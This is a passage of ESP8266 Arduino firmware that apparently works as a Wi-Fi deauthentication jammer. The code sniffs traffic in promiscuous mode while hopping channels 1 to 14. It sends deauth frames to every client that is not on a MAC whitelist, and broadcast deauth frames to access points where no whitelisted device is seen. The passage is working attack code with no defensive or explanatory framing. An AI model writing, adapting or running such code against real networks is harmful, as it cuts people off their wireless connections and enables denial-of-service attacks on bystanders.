  for (i=0; i<WHITELIST_LENGTH; i++) {     if (! memcmp(macAdress, whitelist[i], ETH_MAC_LEN)) return true;   }   return false; } void setup() {   Serial.begin(115200);   Serial.printf("\n\nSDK version:%s\n", system_get_sdk_version());   // Promiscuous works only with station mode   wifi_set_opmode(STATION_MODE);   // Set up promiscuous callback   wifi_set_channel(1);   wifi_promiscuous_enable(0);   wifi_set_promiscuous_rx_cb(promisc_cb);   wifi_promiscuous_enable(1); } void loop() {   while (true) {     channel = 1;     wifi_set_channel(channel);     while (true) {       nothing_new++;       if (nothing_new > 200) {
        nothing_new = 0;

        wifi_promiscuous_enable(0);
        wifi_set_promiscuous_rx_cb(0);
        wifi_promiscuous_enable(1);
        for (int ua = 0; ua < aps_known_count; ua++) {
          if (aps_known[ua].channel == channel) {
            for (int uc = 0; uc < clients_known_count; uc++) {               if (! memcmp(aps_known[ua].bssid, clients_known[uc].bssid, ETH_MAC_LEN)) { #ifdef WHITELIST_STATION                 address_to_check = clients_known[uc].station; #else                 address_to_check = clients_known[uc].ap; #endif                 if (check_whitelist(address_to_check)) {                   friendly_device_found = true;                   Serial.print("Whitelisted -->");
                  print_client(clients_known[uc]);
                } else {
                  Serial.print("DeAuth to ---->");
                  print_client(clients_known[uc]);
                  deauth(clients_known[uc].station, clients_known[uc].bssid, clients_known[uc].seq_n);
                }
                break;
              }
            }
            if (!friendly_device_found) deauth(broadcast2, aps_known[ua].bssid, 128);
            friendly_device_found = false;
          }
        }
        wifi_promiscuous_enable(0);
        wifi_set_promiscuous_rx_cb(promisc_cb);
        wifi_promiscuous_enable(1);

        channel++;
        if (channel == 15) break;
        wifi_set_channel(channel);
      }
      delay(1);

      if ((Serial.available() > 0) && (Serial.read() == '\n')) {
        Serial.println("\n-------------------------------------------------------------------------\n");
        for (int u = 0; u < aps_known_count; u++) print_beacon(aps_known[u]);
        for (int u = 0; u < clients_known_count; u++) print_client(clients_known[u]);
        Serial.println("\n-------------------------------------------------------------------------\n");
      }
    }
  }
}